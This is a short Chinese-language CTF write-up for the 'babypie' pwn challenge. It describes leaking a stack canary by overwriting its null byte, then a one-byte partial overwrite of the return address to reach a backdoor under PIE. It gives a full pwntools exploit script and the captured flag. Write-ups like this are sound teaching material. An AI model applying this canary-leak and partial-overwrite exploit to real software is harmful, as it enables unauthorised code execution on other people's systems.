linkctf_2018.7_babypie

linkctf_2018.7_babypie
检查安全保护，64位，保护全开

IDA：

并且存在后门，，但是地址都随机化了，不能够直接填写地址，需要通过与固定函数的偏移

可以看到把rbp泄露出来了，同时前面一个地址，不知道是不是canary（按理说会放在ebp-8的位置，也就是前面这个，但是canary一般是以00结尾的，这个没有00的原因是，不能写入那么多字节，由于’\x00’被覆盖掉了，如果不覆盖掉的话就会截断，后面的就不会打印出来了）现在要做的就是要把canary如何打印出来，或者是绕过，或者是劫持__stack_chk_fail

现在要做的就是将canary后两位补上00，然后canary泄露出来了，然后就是返回值怎么写呢？地址是随机的，但是从main–>A3E执行system只有最后一个字节不一样，所以只需要溢出返回值的最后一个字节就行了


payload = ‘a’*0x28 + p64(canary) + p64(0) + p8(0x3e)，成功getshell

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './babypie'
debug = 0
if debug:
    p = remote('node4.buuoj.cn', 26883)
else:
    p = process(file_name)
elf = ELF(file_name)
payload = 'a'*0x28
p.sendline(payload)
p.recvuntil("aaaa\n")
canary = (u64(p.recv(7).rjust(8,b'\x00'))) 
print(hex(canary),"----------")
payload = 'a'*0x28 + p64(canary) + p64(0) + p8(0x3e)
p.send(payload)
p.interactive()

flag{39032360-ca4e-47b2-b7ce-830802eafba4}